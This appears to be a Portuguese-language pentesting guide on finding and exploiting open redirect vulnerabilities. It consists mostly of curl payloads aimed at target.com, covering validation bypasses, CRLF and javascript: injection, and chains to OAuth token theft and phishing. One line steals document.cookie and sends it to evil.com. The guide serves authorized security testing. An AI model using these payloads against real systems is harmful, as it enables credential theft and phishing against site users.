Testando Vulnerabilidades de Redirecionamento Aberto

Quando Usar

• Ao testar fluxos de login/logout que redirecionam usuários para URLs especificadas
• Durante a avaliação de endpoints de autorização OAuth com parâmetros redirect_uri
• Ao auditar aplicações com parâmetros de URL (next, url, redirect, return, goto, target)
• Durante simulações de phishing para encadear redirecionamentos abertos com coleta de credenciais
• Ao testar implementações de SSO para fraquezas na validação de redirecionamento

Pré-requisitos

• Burp Suite ou OWASP ZAP para interceptar requisições de redirecionamento
• Coleção de payloads de bypass de redirecionamento aberto
• Domínio externo ou Burp Collaborator para confirmação de redirecionamento
• Compreensão de esquemas de análise e codificação de URL
• Navegador com ferramentas de desenvolvedor para observar cadeias de redirecionamento
• Conhecimento dos códigos de status de redirecionamento HTTP 301/302/303/307/308

Aviso Legal: Esta habilidade é apenas para testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Passo 1 — Identificar Parâmetros de Redirecionamento

# Common redirect parameter names to test:
# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=
# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=

# Search for redirect parameters in the application
# Use Burp Suite to crawl and identify all parameters

# Test basic redirect
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"

Passo 2 — Testar Payloads Básicos de Redirecionamento Aberto

# Direct external URL
curl -v "http://target.com/redirect?url=https://evil.com"

# Protocol-relative URL
curl -v "http://target.com/redirect?url=//evil.com"

# URL with @ symbol (userinfo abuse)
curl -v "http://target.com/redirect?url=https://target.com@evil.com"

# Backslash-based redirect
curl -v "http://target.com/redirect?url=https://evil.com\@target.com"

# Null byte injection
curl -v "http://target.com/redirect?url=https://evil.com%00.target.com"

Passo 3 — Aplicar Técnicas de Bypass de Validação

# Subdomain confusion bypass
curl -v "http://target.com/redirect?url=https://target.com.evil.com"
curl -v "http://target.com/redirect?url=https://evil.com/target.com"

# URL encoding bypass
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com"
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"

# Double URL encoding
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com"

# Mixed case protocol
curl -v "http://target.com/redirect?url=HtTpS://evil.com"

# CRLF injection in redirect
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com"

# JavaScript protocol
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)"

# Data URI
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"

Passo 4 — Testar Redirecionamentos Baseados em Caminho

# Relative path injection
curl -v "http://target.com/redirect?url=/\evil.com"
curl -v "http://target.com/redirect?url=/.evil.com"

# Path traversal with redirect
curl -v "http://target.com/redirect?url=/../../../evil.com"

# Fragment-based bypass
curl -v "http://target.com/redirect?url=https://evil.com#target.com"

# Parameter pollution for redirect
curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"

Passo 5 — Encadear com Outras Vulnerabilidades

# Chain with OAuth for token theft
# Step 1: Find open redirect on target.com
# Step 2: Use it as redirect_uri in OAuth flow
curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code"

# Chain with phishing
# Create convincing phishing page at evil.com
# Use open redirect: http://target.com/redirect?url=https://evil.com/login
# Victim sees target.com in the initial URL

# Chain with XSS via javascript: protocol
curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"

Passo 6 — Automatizar Testes de Redirecionamento Aberto

# Use OpenRedireX para testes automatizados
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ

# Use a ferramenta gf para extrair parâmetros de redirecionamento de URLs
cat urls.txt | gf redirect | sort -u > redirect_params.txt

# Teste em massa com nuclei

…